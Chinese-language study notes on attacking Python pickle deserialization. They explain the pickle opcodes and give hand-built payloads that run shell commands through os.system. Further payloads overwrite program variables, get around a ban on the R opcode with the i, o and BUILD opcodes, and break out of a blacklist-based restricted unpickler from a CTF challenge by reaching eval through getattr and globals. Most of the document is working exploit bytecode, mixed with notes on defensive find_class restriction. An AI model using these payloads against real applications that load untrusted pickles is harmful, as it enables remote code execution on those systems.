v0
执行whoami/calc
pickle.loads(b"""cos
system
(S'calc'
tR.""")
#对应os.system("calc")
pickle.loads(b"""c__builtin__
getattr
(c__builtin__
__import__
(S'os'
tRS'system'
tR(S'whoami'
tR.""")
#对应getattr(import("os"),"system")("whoami")
变量覆盖
覆盖非全局变量,dict型
secrret={"admin":123}
pickle.loads(b"""c__builtin__
getattr
(c__main__
secrret
S'update'
tR((S'admin'
I100
dtR.
""")
print(secrret)
#对应getattr(secrret,"update")({'admin':100})
覆盖全局变量,str型
#secret.py
secret= "aaaaa"
#main.py
pickle.loads(b"""c__main__
secret
(S'secret'
S'ccccc'
db.""")
print(secret.secret)
简单归纳一下常用的opcode
c
+module+\n+name 引入某个模块下某个属性
R
__reduce__用来执行函数
(
MARK,标志d t l的开头
d t l
闭合直到最近的MARK的dict tuple list
) ] }
入栈一个空t l d
I
int+值
S
str+值
b
用栈中第一个元素给第二元素赋值(和入栈顺序相反)
u
寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
a
将栈的第一个元素append到第二个元素(列表)中
.
结束标志
v3
pickle3版本的opcode(指令码)示例:
b’\x80\x03X\x04\x00\x00\x00abcdq\x00.’
\x80:协议头声明
\x03:协议版本
\x04\x00\x00\x00:数据长度:4
abcd:数据
q:储存栈顶的字符串长度:一个字节(即\x00)
\x00:栈顶位置
.:数据截止
v4
#secret.py
KEY = 'aaaaa'
class User:
def __init__(self):
self.msg = None
self.password = None
pass
#main.py
import pickle
import secret
print(pickle.dumps((secret.User())))
pickle.loads(b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x06secret\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x03msg\x94\x8c\x06secret\x94\x8c\x03KEY\x94\x93\x94\x8c\x08password\x94Nub.')
\8c\xx
+字符串,xx为长度
\x94
将前面的数据存入内存,可以看做是一段的结束
\x93
使用栈顶两个元素,获取module.name
\x81
新建对象
禁止R
使用i o执行命令
o
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象
i
相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
import pickle
pickle.loads(b"""(S'whoami'
ios
system
.
""")
pickle.loads(b"""(cos
system
S'whoami'
o.
""")
使用build指令
通过BUILD指令与C指令的结合,我们可以把一个对象改写为os.system或其他函数
假设某个类原先没有__setstate__方法,我们可以利用{‘__setstate__’: os.system}来BUILE这个对象
BUILD指令执行时,因为没有__setstate__方法,所以就执行update,这个对象的_setstate__方法就改为了我们指定的os.system
接下来利用"ls /"来再次BUILD这个对象,则会执行setstate(“ls /”),而此时__setstate__已经被我们设置为os.system,因此实现RCE.
import pickle
class user():
def __init__(self):
pass
pickle.loads(b"c__main__\nuser\n)\x81}(S'__setstate__'\ncos\nsystem\nub.")
pickle.loads(b"c__main__\nuser\n)\x81}(S'__setstate__'\ncos\nsystem\nubVcalc\nb.")
\x81
用于创建新对象
find_class
设置find_class可以限制被反序列化的类
例如
safe_builtins = {'range','complex','set','frozenset','slice',}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
pker工具
https://github.com/eddieivan01/pker
注意
windows和linux下pickle序列化结果格式不同
Code Breaking picklecode
这里只研究反序列化的部分
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
可以看到getattr没有被限制,所以可以构造builtins.getattr执行函数
因为不能执行eval,我们可以通过builtins.getattr(builtins, 'eval')(os.system('calc'))
来获取eval函数并执行命令
所以这里唯一的问题就是如何得到builtins对象——我们可以通过globals()从上下文中获得
因为builtins.globals()是dict类型
我们通过print(builtins.globals().get("builtins"))
即builtins.dict.get(builtins.globals(),'builtins')
可得到builtins对象
以getattr的形式调用为print(builtins.getattr(dict,"get")(builtins.globals(),'builtins'))
写成opcode为
b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
.'''
最后将得到的结果通过p1
存入memo
完整的执行命令opcode:
b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("calc")'
tR.
'''